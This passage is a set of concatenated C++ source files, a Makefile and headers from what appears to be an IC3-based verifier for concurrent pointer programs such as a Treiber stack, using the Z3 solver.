}else{
// for now leave it open
newlist.push_back(clause);
}
seqsolv.pop();
}
now.set_propagation(newlist);
}
}
bool NoIC3::removeCTI(Clause &witness){
std::cout << "Removing CTI\n";
// Note: witness is a conjunction, so its negation is a clause
solver seqsolv(ctxt);
solver seqinitsolv(ctxt);
solver intsolv(ctxt);
// considering frames 0, ..., frontier_level
//std::vector<ProofObligation*> obligations[frontier_level+1];
std::vector<ProofObligation*> *obligations = new std::vector<ProofObligation*>[frontier_level+1];
ProofObligation *rootobligation = new ProofObligation(witness, NULL);
obligations[frontier_level].push_back(rootobligation);
bool result = false;
int min_level = 0;
seqsolv.add(transition);
frames[0].fill_solver(seqinitsolv);
intconstraints.fill_solver(intsolv);
intsolv.add(inttransition);
while(true){
while(min_level <= frontier_level && obligations[min_level].size() == 0){
min_level++;
}
if(min_level > frontier_level){
result = true;
break;
}
ProofObligation *topobl = obligations[min_level].back();
obligations[min_level].pop_back();
if(topobl->is_fulfilled()){
delete topobl;
continue;
}
if(topobl->is_failed()){
if(topobl == rootobligation){
delete topobl;
result = true;
break;
}
delete topobl;
continue;
}
Clause state = topobl->get_clause();
Clause Xstate = seqconverter.convert(state);
Clause statepart1 = mediator.evolve(state, 1);
Clause statepart2 = mediator.evolve(state, 2);
Clause Xstatepart2 = intconverter.convert(statepart2);
std::cout << "handling proof obligation (" << state.get_coformula() << ", " << min_level << ")\n";
seqinitsolv.push();
seqinitsolv.add(state.get_coformula());
if(seqinitsolv.check() == sat){
std::cout << "contained in the initial states!\n";
topobl->set_failed();
if(rootobligation->is_failed()){
result = false;
break;
}
delete topobl;
seqinitsolv.pop();
continue;
}
seqinitsolv.pop();
seqsolv.push();
seqsolv.add(state.get_formula());
seqsolv.add(Xstate.get_coformula());
seqsolv.push();
frames[0].fill_solver(seqsolv);
if(seqsolv.check() == sat){
std::cout << "not sequential-inductive to initial frame!\n";
topobl->set_failed();
if(rootobligation->is_failed()){
result = false;
break;
}
delete topobl;
seqsolv.pop();
seqsolv.pop();
continue;
}
std::cout << "is at least sequential-inductive to initial frame\n";
seqsolv.pop();
intsolv.push();
intsolv.add(statepart1.get_formula());
intsolv.add(statepart2.get_formula());
intsolv.add(Xstatepart2.get_coformula());
intsolv.push();
doubleframes[0].fill_solver(intsolv);
if(intsolv.check() == sat){
std::cout << "not interference-inductive to initial frame!\n";
topobl->set_failed();
if(rootobligation->is_failed()){
result = false;
break;
}
delete topobl;
intsolv.pop();
intsolv.pop();
continue;
}
std::cout << "is at least interference-inductive to initial frame\n";
intsolv.pop();
bool cex_is_int = false;
int maxsafe = frontier_level-1;
// Dummy value because reference -.-
Clause newseqwitness(ctxt, 0);
// seqsolv contains transition, !state and Xstate
while(maxsafe > 0){
seqsolv.push();
frames[maxsafe].fill_solver(seqsolv);
if(seqsolv.check() == sat){
model m = seqsolv.get_model();
newseqwitness = Clause(ctxt, seq_old_variables, m);
maxsafe--;
seqsolv.pop();
}else{
seqsolv.pop();
break;
}
}
std::cout << "Found sequential-safe frame at level " << maxsafe << "\n";
// Dummy values because reference -.-
Clause newintwitness1(ctxt, 0);
Clause newintwitness2(ctxt, 0);
// intsolv contains intconstraints, inttransition, !statepart1, !statepart2 and Xstatepart2
while(maxsafe > 0){
intsolv.push();
doubleframes[maxsafe].fill_solver(intsolv);
if(intsolv.check() == sat){
model m = intsolv.get_model();
Clause wit = Clause(ctxt, int_old_variables, m);
newintwitness1 = Clause(ctxt, seq_old_variables.size());
newintwitness2 = Clause(ctxt, seq_old_variables.size());
mediator.cytokinesis(wit, newintwitness1, newintwitness2);
cex_is_int = true;
maxsafe--;
intsolv.pop();
}else{
intsolv.pop();
break;
}
}
std::cout << "Found interference-safe frame at level " << maxsafe << "\n";
std::cout << "Trying to generalize state w.r.t. frame " << maxsafe << "\n"; //\n" << frames[maxsafe].get_formula() << "\n";
Clause strongerstate = state;
seqsolv.pop();
intsolv.pop();
// seqsolv and intsolv now only contain their respective transitions (and intconstraints)
seqsolv.push();
intsolv.push();
frames[maxsafe].fill_solver(seqsolv);
doubleframes[maxsafe].fill_solver(intsolv);
for(unsigned int i=0; i<seq_old_variables.size(); i++){
if(! strongerstate.contains(i)) continue;
Clause newstrongerstate = strongerstate.remove_literal(ctxt, seq_old_variables, i);
Clause Xnewstrongerstate = seqconverter.convert(newstrongerstate);
Clause newstrongerstatepart1 = mediator.evolve(newstrongerstate, 1);
Clause newstrongerstatepart2 = mediator.evolve(newstrongerstate, 2);
Clause Xnewstrongerstatepart2 = intconverter.convert(newstrongerstatepart2);
seqinitsolv.push();
seqinitsolv.add(newstrongerstate.get_coformula());
if(seqinitsolv.check() == unsat){
// state not contained in initial states
seqsolv.push();
seqsolv.add(newstrongerstate.get_formula());
seqsolv.add(Xnewstrongerstate.get_coformula());
if(seqsolv.check() == unsat){
// sequential-inductive
intsolv.push();
intsolv.add(newstrongerstatepart1.get_formula());
intsolv.add(newstrongerstatepart2.get_formula());
intsolv.add(Xnewstrongerstatepart2.get_coformula());
if(intsolv.check() == unsat){
//interference-inductive
strongerstate = newstrongerstate;
}
intsolv.pop();
}
seqsolv.pop();
}
seqinitsolv.pop();
}
std::cout << "Result: " << strongerstate.get_coformula() << "\n";
for(int l=0; l<=maxsafe+1; l++){
frames[l].add_clause(strongerstate, l==maxsafe+1);
mediator.doubleadd(doubleframes[l], strongerstate);
}
// proof obligation fulfilled?
if(maxsafe >= min_level-1){
if(topobl == rootobligation){
delete topobl;
result = true;
break;
}
topobl->set_fulfilled();
delete topobl;
}else{
if(cex_is_int){
ProofObligation *newobl1 = new ProofObligation(newintwitness1, topobl);
ProofObligation *newobl2 = new ProofObligation(newintwitness2, topobl);
newobl1->set_twin(newobl2);
newobl2->set_twin(newobl1);
obligations[maxsafe+1].push_back(newobl1);
obligations[maxsafe+1].push_back(newobl2);
}else{
ProofObligation *newobl = new ProofObligation(newseqwitness, topobl);
obligations[maxsafe+1].push_back(newobl);
}
obligations[min_level].push_back(topobl);
if(maxsafe+1 < min_level) min_level = maxsafe + 1;
}
seqsolv.pop();
intsolv.pop();
}
// cleanup
for(int i=0; i<= frontier_level; i++){
while(obligations[i].size() > 0){
ProofObligation *obl = obligations[i].back();
delete obl;
obligations[i].pop_back();
}
}
delete[] obligations;
return result;
}
<file_sep>#pragma once
#include <vector>
#include "z3++.h"
#include "program.hpp"
#include "view.hpp"
#include "observer.hpp"
#include "noic3.hpp"
#include "z3variablecontainer.hpp"
using namespace z3;
class Analyzer;
class Analyzer{
private:
context &ctxt;
OneThreadView view1;
TwoThreadView view2;
Mediator mediator;
void build_translator();
public:
Analyzer(Program *prog, Observer *obs, context &ctxt);
void prepare();
bool analyze();
};
<file_sep>#include <string>
#include <vector>
#include "variable.hpp"
Variable::Variable(std::string name, bool global, bool observer):
name(name),
global(global),
observer(observer)
{
}
Variable::~Variable(){
}
std::string Variable::getname(){
return name;
}
int Variable::getid(){
return id;
}
void Variable::setid(int id){
this->id = id;
}
bool Variable::isglobal(){
return global;
}
bool Variable::isobserver(){
return observer;
}
TwinVariable *Variable::get_twin(int number){
return NULL;
}
SingleVariable *Variable::get_parent(){
return NULL;
}
int SingleVariable::obscount = 0;
std::vector<Variable*> SingleVariable::variables;
SingleVariable::SingleVariable(std::string name, bool global, bool observer):
Variable(name, global, observer),
twin1(NULL),
twin2(NULL)
{
id = variables.size();
variables.push_back(this);
if(observer){
obscount++;
// make the observer variables have the lowest ids.
// because we have lists of only observer variables and the ids have to match there
// AND the lists have to stay ordered by id
int c = obscount - 1;
Variable *other = variables[c];
variables[c] = this;
variables[variables.size()-1] = other;
int swap = other->getid();
other->setid(id);
id = swap;
}
deliver_twins();
}
SingleVariable::~SingleVariable(){
}
std::vector<Variable*> SingleVariable::get_variables(){
return variables;
}
std::vector<Variable*> SingleVariable::get_obsvariables(){
std::vector<Variable*> result;
result.reserve(obscount);
for(int i=0; i<obscount; i++){
result.push_back(variables[i]);
}
return result;
}
std::vector<Variable*> SingleVariable::get_nonobsvariables(){
int total = variables.size();
int count = total - obscount;
std::vector<Variable*> result;
result.reserve(count);
for(int i=obscount; i<total; i++){
result.push_back(variables[i]);
}
return result;
}
std::vector<Variable*> SingleVariable::get_twins(int number){
std::vector<Variable*> result;
result.reserve(variables.size());
for(const auto v : variables){
result.push_back(v->get_twin(number));
}
return result;
}
int SingleVariable::getnextid(){
return id + variables.size();
}
void SingleVariable::deliver_twins(){
if(global){
twin1 = new TwinVariable(name, global, observer, this);
twin2 = twin1;
}else{
twin1 = new TwinVariable(name+"$", global, observer, this);
twin2 = new TwinVariable(name+"#", global, observer, this);
}
}
TwinVariable *SingleVariable::get_twin(int number){
if(number == 1) return twin1;
if(number == 2) return twin2;
return NULL;
}
int TwinVariable::obscount = 0;
std::vector<Variable*> TwinVariable::variables;
TwinVariable::TwinVariable(std::string name, bool global, bool observer, SingleVariable *parent):
Variable(name, global, observer),
parent(parent)
{
id = variables.size();
variables.push_back(this);
if(observer){
obscount++;
// make the observer variables have the lowest ids.
// because we have lists of only observer variables and the ids have to match there
// AND the lists have to stay ordered by id
int c = obscount - 1;
Variable *other = variables[c];
variables[c] = this;
variables[variables.size()-1] = other;
int swap = other->getid();
other->setid(id);
id = swap;
}
}
TwinVariable::~TwinVariable(){
}
std::vector<Variable*> TwinVariable::get_variables(){
return variables;
}
std::vector<Variable*> TwinVariable::get_obsvariables(){
std::vector<Variable*> result;
result.reserve(obscount);
for(int i=0; i<obscount; i++){
result.push_back(variables[i]);
}
return result;
}
std::vector<Variable*> TwinVariable::get_nonobsvariables(){
int total = variables.size();
int count = total - obscount;
std::vector<Variable*> result;
result.reserve(count);
for(int i=obscount; i<total; i++){
result.push_back(variables[i]);
}
return result;
}
int TwinVariable::getnextid(){
return id + variables.size();
}
SingleVariable *TwinVariable::get_parent(){
return parent;
}
<file_sep>#include "variable.hpp"
#include "ast.hpp"
#include "program.hpp"
#include "observer.hpp"
#include "view.hpp"
/*
global NULL, flag;
local fool;
function init(){
flag = NULL;
}
function cool(){
do{
flag = fool;
}while(flag == fool);
fool = NULL;
fool.next = NULL;
}
*/
Program *testprogram(){
Variable *null = new SingleVariable("NULL", true, false);
Variable *flag = new SingleVariable("flag", true, false);
Variable *fool = new SingleVariable("fool", false, false);
Function *init = new Function(
"init",
false,
new Sequence(std::vector<Block*>({
new PointerAssignment(flag, null)
}))
);
Function *cool = new Function(
"cool",
false,
new Sequence(std::vector<Block*>({
new Footloop(
new PointerComparison(flag, fool, false),
new Sequence(std::vector<Block*>({
new PointerAssignment(flag, fool)
}))
),
new PointerAssignment(fool, null),
new NextPointerAssignment(fool, null)
}))
);
Program *mad = new Program(
"Concurrent madness",
std::vector<Variable*>({null, flag, fool}),
init,
std::vector<Function*>({cool})
);
return mad;
}
Observer *testobserver(){
// observer with two states, no variables and no transitions
Observer *dum = new Observer(std::vector<Variable*>({}), 2);
return dum;
}
void OneThreadView::build_initial(){
int tosid = 1, nullid = 0;
// We start in Nirvana
for(int i=0; i<loc; i++){
Clause c(ctxt, old_variables.size());
clausevar pcval = CLAUSE_NEGATIVE;
c.set_variable(pc(i), pc.getid(i), pcval);
initial.add_clause(c);
}
for(int i=0; i<autc; i++){
Clause c(ctxt, old_variables.size());
clausevar osval = (i == 0) ? CLAUSE_POSITIVE : CLAUSE_NEGATIVE;
c.set_variable(os(i), os.getid(i), osval);
initial.add_clause(c);
}
// no shape relations
for(const auto &i : vars){
int iid = i->getid();
for(const auto &j : vars){
int jid = j->getid();
if((iid == tosid && jid == nullid) || (iid == nullid && jid == tosid)) continue;
clausevar eqval = (i == j ? CLAUSE_POSITIVE : CLAUSE_NEGATIVE);
clausevar neqval = (i == j ? CLAUSE_NEGATIVE : CLAUSE_POSITIVE);
Clause eq(ctxt, old_variables.size());
eq.set_variable(shape_eq(iid, jid), shape_eq.getid(iid, jid), eqval);
initial.add_clause(eq);
Clause neq(ctxt, old_variables.size());
neq.set_variable(shape_neq(iid, jid), shape_neq.getid(iid, jid), neqval);
initial.add_clause(neq);
Clause next(ctxt, old_variables.size());
next.set_variable(shape_next(iid, jid), shape_next.getid(iid, jid), CLAUSE_NEGATIVE);
initial.add_clause(next);
Clause reach(ctxt, old_variables.size());
reach.set_variable(shape_reach(iid, jid), shape_reach.getid(iid, jid), CLAUSE_NEGATIVE);
initial.add_clause(reach);
}
}
// nobody freed, nobody owned
for(const auto i : vars){
int iid = i->getid();
Clause self(ctxt, old_variables.size());
self.set_variable(freed(iid), freed.getid(iid), CLAUSE_NEGATIVE);
initial.add_clause(self);
Clause next(ctxt, old_variables.size());
next.set_variable(freednext(iid), freednext.getid(iid), CLAUSE_NEGATIVE);
initial.add_clause(next);
Clause owner(ctxt, old_variables.size());
owner.set_variable(own(iid), own.getid(iid), CLAUSE_NEGATIVE);
initial.add_clause(owner);
}
// everybody invalid, nobody strongly invalid
for(const auto i : vars){
int iid = i->getid();
Clause invalid_eq(ctxt, old_variables.size());
invalid_eq.set_variable(inv_eq(iid), inv_eq.getid(iid), CLAUSE_POSITIVE);
initial.add_clause(invalid_eq);
Clause invalid_next(ctxt, old_variables.size());
invalid_next.set_variable(inv_next(iid), inv_next.getid(iid), CLAUSE_POSITIVE);
initial.add_clause(invalid_next);
Clause invalid_reach(ctxt, old_variables.size());
invalid_reach.set_variable(inv_reach(iid), inv_reach.getid(iid), CLAUSE_POSITIVE);
initial.add_clause(invalid_reach);
Clause sinvalid_eq(ctxt, old_variables.size());
sinvalid_eq.set_variable(sin_eq(iid), sin_eq.getid(iid), CLAUSE_NEGATIVE);
initial.add_clause(sinvalid_eq);
Clause sinvalid_next(ctxt, old_variables.size());
sinvalid_next.set_variable(sin_next(iid), sin_next.getid(iid), CLAUSE_NEGATIVE);
initial.add_clause(sinvalid_next);
Clause sinvalid_reach(ctxt, old_variables.size());
sinvalid_reach.set_variable(sin_reach(iid), sin_reach.getid(iid), CLAUSE_NEGATIVE);
initial.add_clause(sinvalid_reach);
}
// Nobody input, nobody output and I haven't seen anything
for(const auto z : obsvars){
int zid = z->getid();
Clause i(ctxt, old_variables.size());
i.set_variable(in(zid), in.getid(zid), CLAUSE_NEGATIVE);
initial.add_clause(i);
Clause o(ctxt, old_variables.size());
o.set_variable(out(zid), out.getid(zid), CLAUSE_NEGATIVE);
initial.add_clause(o);
Clause c(ctxt, old_variables.size());
c.set_variable(inseen(zid), inseen.getid(zid), CLAUSE_NEGATIVE);
initial.add_clause(c);
}
Clause i1(ctxt, old_variables.size());
i1.set_variable(shape_eq(tosid, nullid), shape_eq.getid(tosid, nullid), CLAUSE_POSITIVE);
initial.add_clause(i1);
Clause i2(ctxt, old_variables.size());
i2.set_variable(shape_neq(tosid, nullid), shape_neq.getid(tosid, nullid), CLAUSE_NEGATIVE);
initial.add_clause(i2);
Clause i6(ctxt, old_variables.size());
i6.set_variable(shape_next(tosid, nullid), shape_next.getid(tosid, nullid), CLAUSE_NEGATIVE);
initial.add_clause(i6);
Clause i7(ctxt, old_variables.size());
i7.set_variable(shape_next(nullid, tosid), shape_next.getid(nullid, tosid), CLAUSE_NEGATIVE);
initial.add_clause(i7);
Clause i8(ctxt, old_variables.size());
i8.set_variable(shape_reach(tosid, nullid), shape_reach.getid(tosid, nullid), CLAUSE_NEGATIVE);
initial.add_clause(i8);
Clause i9(ctxt, old_variables.size());
i9.set_variable(shape_reach(nullid, tosid), shape_reach.getid(nullid, tosid), CLAUSE_NEGATIVE);
initial.add_clause(i9);
Clause i3(ctxt, old_variables.size());
i3.set_variable(ages_eq(tosid, nullid), ages_eq.getid(tosid, nullid), CLAUSE_POSITIVE);
initial.add_clause(i3);
Clause i4(ctxt, old_variables.size());
i4.set_variable(ages_lt(tosid, nullid), ages_lt.getid(tosid, nullid), CLAUSE_NEGATIVE);
initial.add_clause(i4);
Clause i5(ctxt, old_variables.size());
i5.set_variable(ages_lt(tosid, nullid), ages_lt.getid(tosid, nullid), CLAUSE_NEGATIVE);
initial.add_clause(i5);
}
<file_sep>#pragma once
#include <vector>
#include "z3++.h"
#include "variable.hpp"
using namespace z3;
class Z3VariableContainer1D;
class Z3VariableContainer2D;
class Z3VariableContainer1D{
private:
std::vector<expr> variables;
std::vector<int> ids;
public:
Z3VariableContainer1D(context &ctxt, int size, std::string basename, std::vector<expr> &globallist, std::vector<Variable*> *varlist=NULL);
int size();
expr operator() (unsigned int index);
int getid(unsigned int index);
};
class Z3VariableContainer2D{
private:
std::vector<std::vector<expr>> variables;
std::vector<std::vector<int>> ids;
public:
Z3VariableContainer2D(context &ctxt, int size, std::string basename, bool symmetric, std::vector<expr> &globallist, std::vector<Variable*> *varlist=NULL);
int size();
expr operator() (unsigned int index1, unsigned int index2);
int getid(unsigned int index1, unsigned int index2);
};
<file_sep>CXX = g++
CXXFLAGS = -Wall
LD = g++
LDFLAGS = -lz3
all: test_concurrentmadness test_concurrentsanity test_oneval test_treiberstack
clean:
rm -f variable.o
rm -f ast.o
rm -f program.o
rm -f observer.o
rm -f noic3.o
rm -f z3variablecontainer.o
rm -f view.o
rm -f analyzer.o
rm -f stackobserver.o queueobserver.o onevalobserver.o
rm -f concurrentmadness.o concurrentsanity.o oneval.o treiberstack.o
rm -f test.o test_concurrentmadness test_concurrentsanity test_oneval test_treiberstack
ast.o: ast.hpp ast.cpp variable.hpp observer.hpp
$(CXX) $(CXXFLAGS) -c -o ast.o ast.cpp
program.o: program.hpp variable.hpp ast.hpp program.cpp
$(CXX) $(CXXFLAGS) -c -o program.o program.cpp
observer.o: observer.hpp variable.hpp observer.cpp
$(CXX) $(CXXFLAGS) -c -o observer.o observer.cpp
variable.o: variable.hpp variable.cpp
$(CXX) $(CXXFLAGS) -c -o variable.o variable.cpp
stackobserver.o: stackobserver.hpp stackobserver.cpp variable.hpp observer.hpp
$(CXX) $(CXXFLAGS) -c -o stackobserver.o stackobserver.cpp
queueobserver.o: queueobserver.hpp queueobserver.cpp variable.hpp observer.hpp
$(CXX) $(CXXFLAGS) -c -o queueobserver.o queueobserver.cpp
onevalobserver.o: onevalobserver.hpp onevalobserver.cpp variable.hpp observer.hpp
$(CXX) $(CXXFLAGS) -c -o onevalobserver.o onevalobserver.cpp
analyzer.o: analyzer.cpp analyzer.hpp variable.hpp ast.hpp program.hpp view.hpp observer.hpp noic3.hpp
$(CXX) $(CXXFLAGS) -c -o analyzer.o analyzer.cpp
noic3.o: noic3.hpp noic3.cpp z3variablecontainer.hpp
$(CXX) $(CXXFLAGS) -c -o noic3.o noic3.cpp
z3variablecontainer.o: z3variablecontainer.hpp z3variablecontainer.cpp variable.hpp
$(CXX) $(CXXFLAGS) -c -o z3variablecontainer.o z3variablecontainer.cpp
view.o: view.hpp view.cpp variable.hpp ast.hpp program.hpp observer.hpp z3variablecontainer.hpp noic3.hpp
$(CXX) $(CXXFLAGS) -c -o view.o view.cpp
test.o: test.cpp program.hpp observer.hpp noic3.hpp analyzer.hpp
$(CXX) $(CXXFLAGS) -c -o test.o test.cpp
concurrentmadness.o: concurrentmadness.cpp variable.hpp ast.hpp program.hpp observer.hpp view.hpp
$(CXX) $(CXXFLAGS) -c -o concurrentmadness.o concurrentmadness.cpp
concurrentsanity.o: concurrentsanity.cpp variable.hpp ast.hpp program.hpp observer.hpp view.hpp
$(CXX) $(CXXFLAGS) -c -o concurrentsanity.o concurrentsanity.cpp
oneval.o: oneval.cpp variable.hpp ast.hpp program.hpp observer.hpp view.hpp
$(CXX) $(CXXFLAGS) -c -o oneval.o oneval.cpp
treiberstack.o: treiberstack.cpp variable.hpp ast.hpp program.hpp stackobserver.hpp
$(CXX) $(CXXFLAGS) -c -o treiberstack.o treiberstack.cpp
test_concurrentmadness: test.o concurrentmadness.o variable.o ast.o program.o view.o observer.o noic3.o analyzer.o z3variablecontainer.o
$(LD) $(LDFLAGS) -o test_concurrentmadness test.o concurrentmadness.o variable.o ast.o program.o view.o observer.o noic3.o analyzer.o z3variablecontainer.o
test_concurrentsanity: test.o concurrentsanity.o variable.o ast.o program.o view.o observer.o noic3.o analyzer.o z3variablecontainer.o
$(LD) $(LDFLAGS) -o test_concurrentsanity test.o concurrentsanity.o variable.o ast.o program.o view.o observer.o noic3.o analyzer.o z3variablecontainer.o
test_oneval: test.o oneval.o variable.o ast.o program.o view.o observer.o onevalobserver.o noic3.o analyzer.o z3variablecontainer.o
$(LD) $(LDFLAGS) -o test_oneval test.o oneval.o variable.o ast.o program.o view.o observer.o onevalobserver.o noic3.o analyzer.o z3variablecontainer.o
test_treiberstack: test.o variable.o ast.o program.o view.o observer.o treiberstack.o stackobserver.o noic3.o analyzer.o z3variablecontainer.o
$(LD) $(LDFLAGS) -o test_treiberstack test.o variable.o ast.o program.o view.o observer.o treiberstack.o stackobserver.o noic3.o analyzer.o z3variablecontainer.o
<file_sep>#pragma once
#include <vector>
#include "z3++.h"
#include "variable.hpp"
#include "program.hpp"
#include "observer.hpp"
#include "z3variablecontainer.hpp"
#include "noic3.hpp"
using namespace z3;
class View;
class OneThreadView;
class TwoThreadView;
class View{
protected:
Program *program;
Observer *observer;
context &ctxt;
std::vector<Variable*> nonobsvars;
std::vector<Variable*> obsvars;
std::vector<Variable*> vars;
std::vector<Variable*> activelocalscope;
std::vector<Variable*> activenotlocalscope;
int loc;
const int autc;
const int varc;
const int obsc;
std::vector<expr> old_variables;
std::vector<expr> new_variables;
Z3VariableContainer1D pc;
Z3VariableContainer1D os;
Z3VariableContainer2D shape_eq;
Z3VariableContainer2D shape_neq;
Z3VariableContainer2D shape_next;
Z3VariableContainer2D shape_reach;
Z3VariableContainer2D ages_eq;
Z3VariableContainer2D ages_lt;
Z3VariableContainer1D own;
Z3VariableContainer1D freed;
Z3VariableContainer1D freednext;
Z3VariableContainer1D in;
Z3VariableContainer1D out;
Z3VariableContainer1D inseen;
Z3VariableContainer1D inv_eq;
Z3VariableContainer1D inv_next;
Z3VariableContainer1D inv_reach;
Z3VariableContainer1D sin_eq;
Z3VariableContainer1D sin_next;
Z3VariableContainer1D sin_reach;
expr sinout;
int sinoutid;
Z3VariableContainer1D Xpc;
Z3VariableContainer1D Xos;
Z3VariableContainer2D Xshape_eq;
Z3VariableContainer2D Xshape_neq;
Z3VariableContainer2D Xshape_next;
Z3VariableContainer2D Xshape_reach;
Z3VariableContainer2D Xages_eq;
Z3VariableContainer2D Xages_lt;
Z3VariableContainer1D Xown;
Z3VariableContainer1D Xfreed;
Z3VariableContainer1D Xfreednext;
Z3VariableContainer1D Xin;
Z3VariableContainer1D Xout;
Z3VariableContainer1D Xinseen;
Z3VariableContainer1D Xinv_eq;
Z3VariableContainer1D Xinv_next;
Z3VariableContainer1D Xinv_reach;
Z3VariableContainer1D Xsin_eq;
Z3VariableContainer1D Xsin_next;
Z3VariableContainer1D Xsin_reach;
expr Xsinout;
int Xsinoutid;
std::vector<expr> XPC;
std::vector<expr> XOS;
expr transition;
virtual Variable *vardown(Variable *var) = 0;
virtual Variable *varup(Variable *var) = 0;
virtual expr pcincrement(expr &f, Statement *command);
virtual expr pcincrement(expr &f, Condition *command, expr cond);
expr osupdate(expr &f, LinearisationEvent *event);
virtual expr nochange_sinout(expr &f);
expr nochange_freed(expr &f, std::vector<Variable*> &v, Variable *except=NULL);
expr nochange_os(expr &f, int except=-1);
virtual expr nochange_observed_in(expr &f, std::vector<Variable*> &v);
virtual expr nochange_observed_out(expr &f, std::vector<Variable*> &v);
expr nochange_shape(expr &f, std::vector<Variable*> &v, Variable *except=NULL);
expr nochange_inv(expr &f, std::vector<Variable*> &v, Variable *except=NULL);
expr nochange_sin(expr &f, std::vector<Variable*> &v, Variable *except=NULL);
expr nochange_ages(expr &f, std::vector<Variable*> &v, Variable *except=NULL);
virtual expr nochange_own(expr &f, std::vector<Variable*> &v, Variable *except=NULL) = 0;
virtual expr claim_ownership(Variable *x) = 0;
virtual expr lose_ownership(Variable *x) = 0;
virtual expr nuke_ownership(Variable *x) = 0;
virtual expr copy_ownership(Variable *soure, Variable *dest) = 0;
virtual expr nibble_ownership(Variable *nibbler, Variable *pointer) = 0;
virtual expr nochange_seen(Variable *except=NULL) = 0;
virtual expr input_seen(Variable *z) = 0;
virtual expr see_input(Variable *z) = 0;
void shapeconsistency(Frame &frame);
virtual void memconsistency(Frame &frame);
virtual expr trans_functioncall();
expr trans_malloc(Malloc *command);
expr trans_free(Free *command);
expr trans_pointerassignment(PointerAssignment *command);
expr trans_nextpointerassignment(NextPointerAssignment *command);
expr trans_pointernextassignment(PointerNextAssignment *command);
expr trans_inputassignment(InputAssignment *command);
virtual expr trans_outputassignment(OutputAssignment *command);
expr trans_return(Return *command);
expr trans_pointercomparison(PointerComparison *command);
expr trans_cas(CAS *command);
expr trans_cas_success(Variable *v, Variable *c, Variable *r);
expr trans_cas_fail(Variable *v, Variable *c, Variable *r);
public:
View(Program *prog, Observer *obs, context &ctxt, std::vector<Variable*> nonobsvars, std::vector<Variable*> obsvars, std::vector<Variable*> vars, std::vector<Variable*> activelocalscope, std::vector<Variable*> activenotlocalscope);
int count_variables();
std::vector<expr> &get_old_variables();
std::vector<expr> &get_new_variables();
void build_transition();
expr &get_transition();
std::vector<int> get_variables_single();
std::vector<Z3VariableContainer1D*> get_variables_1did();
std::vector<Z3VariableContainer1D*> get_variables_1dvar();
std::vector<Z3VariableContainer1D*> get_variables_1dobsvar();
std::vector<Z3VariableContainer2D*> get_variables_2dvar();
std::vector<Z3VariableContainer2D*> get_variables_2dnextvar();
};
class OneThreadView : public View{
private:
Frame initial;
Frame safety;
Variable *vardown(Variable *var);
Variable *varup(Variable *var);
expr nochange_own(expr &f, std::vector<Variable*> &v, Variable *except);
expr claim_ownership(Variable *x);
expr lose_ownership(Variable *x);
expr nuke_ownership(Variable *x);
expr copy_ownership(Variable *source, Variable *dest);
expr nibble_ownership(Variable *nibbler, Variable *pointer);
expr nochange_seen(Variable *except=NULL);
expr input_seen(Variable *z);
expr see_input(Variable *z);
public:
OneThreadView(Program *prog, Observer *obs, context &ctxt, std::vector<Variable*> nonobsvars, std::vector<Variable*> obsvars, std::vector<Variable*> vars, std::vector<Variable*> activelocalscope, std::vector<Variable*> activenotlocalscope);
void build_initial();
void build_safety();
Frame &get_initial();
Frame &get_safety();
};
class TwoThreadView : public View{
private:
std::vector<Variable*> passivelocalscope;
std::vector<Variable*> passivenotlocalscope;
Z3VariableContainer1D pc2;
Z3VariableContainer1D own2;
Z3VariableContainer1D in2;
Z3VariableContainer1D out2;
Z3VariableContainer1D inseen2;
expr sinout2;
int sinout2id;
Z3VariableContainer1D Xpc2;
Z3VariableContainer1D Xown2;
Z3VariableContainer1D Xin2;
Z3VariableContainer1D Xout2;
Z3VariableContainer1D Xinseen2;
expr Xsinout2;
int Xsinout2id;
std::vector<expr> XPC2;
Frame intconstraints;
Variable *vardown(Variable *var);
Variable *varup(Variable *var);
expr pcincrement(expr &f, Statement *command);
expr pcincrement(expr &f, Condition *command, expr cond);
expr nochange_sinout(expr &f);
expr nochange_observed_in(expr &f, std::vector<Variable*> &v);
expr nochange_observed_out(expr &f, std::vector<Variable*> &v);
expr nochange_own(expr &f, std::vector<Variable*> &v, Variable *except=NULL);
expr claim_ownership(Variable *x);
expr lose_ownership(Variable *x);
expr nuke_ownership(Variable *x);
expr copy_ownership(Variable *source, Variable *dest);
expr nibble_ownership(Variable *nibbler, Variable *pointer);
expr nochange_seen(Variable *except=NULL);
expr input_seen(Variable *z);
expr see_input(Variable *z);
void memconsistency(Frame &frame);
expr trans_functioncall();
expr trans_outputassignment(OutputAssignment *command);
public:
TwoThreadView(Program *prog, Observer *obs, context &ctxt, std::vector<Variable*> nonobsvars, std::vector<Variable*> obsvars, std::vector<Variable*> vars, std::vector<Variable*> activelocalscope, std::vector<Variable*> activenotlocalscope, std::vector<Variable*> passivelocalscope, std::vector<Variable*> passivenotlocalscope);
void build_intconstraints();
Frame &get_intconstraints();
std::vector<int> get_variables2_single();
std::vector<Z3VariableContainer1D*> get_variables2_1did();
std::vector<Z3VariableContainer1D*> get_variables2_1dvar();
std::vector<Z3VariableContainer1D*> get_variables2_1dobsvar();
std::vector<Z3VariableContainer2D*> get_variables2_2dvar();
std::vector<Z3VariableContainer2D*> get_variables2_2dnextvar();
};
<file_sep>#include <string>
#include <iostream>
#include <vector>
#include <stdlib.h>
#include "variable.hpp"
#include "observer.hpp"
#include "ast.hpp"
int Expression::pccount = 0;
std::vector<Expression*> Expression::expressions = std::vector<Expression*>();
int Expression::loc(){
return pccount;
}
std::vector<Expression*> Expression::get_expressions(){
return expressions;
}
Expression::Expression(LinearisationEvent *event):
pc(pccount),
event(event),
output(false)
{
pccount++;
expressions.push_back(this);
}
Expression::~Expression(){
}
int Expression::getpc(){
return pc;
}
LinearisationEvent *Expression::get_event(){
return event;
}
bool Expression::output_done(){
return output;
}
void Expression::printline(){
output = true;
std::cout << "[" << pc << "]" << " ";
printcommand();
if(event != NULL){
std::cout << " ";
event->print();
}
std::cout << "\n";
}
Block::~Block(){
}
expression_type Statement::get_type(){
return STATEMENT;
}
block_type Statement::get_blocktype(){
return BLOCK_STATEMENT;
}
Statement::Statement(LinearisationEvent *event):
Expression(event)
{
next = NULL;
}
Expression *Statement::getfirst(){
return this;
}
Expression *Statement::getnext(){
return next;
}
void Statement::setnext(Expression *expr){
this->next = expr;
}
void Statement::printsubprogram(){
printline();
if(next != NULL){
if(next->output_done()){
std::cout << "GOTO " << next->getpc() << "\n";
}else{
next->printsubprogram();
}
}
}
Memory::Memory(Variable *assign, LinearisationEvent *event):
Statement(event){
this->var = assign;
}
Variable *Memory::getvar(){
return var;
}
expression_subtype Malloc::get_subtype(){
return MALLOC;
}
void Malloc::printcommand(){
std::cout << var->getname() << " = malloc()";
}
expression_subtype Free::get_subtype(){
return FREE;
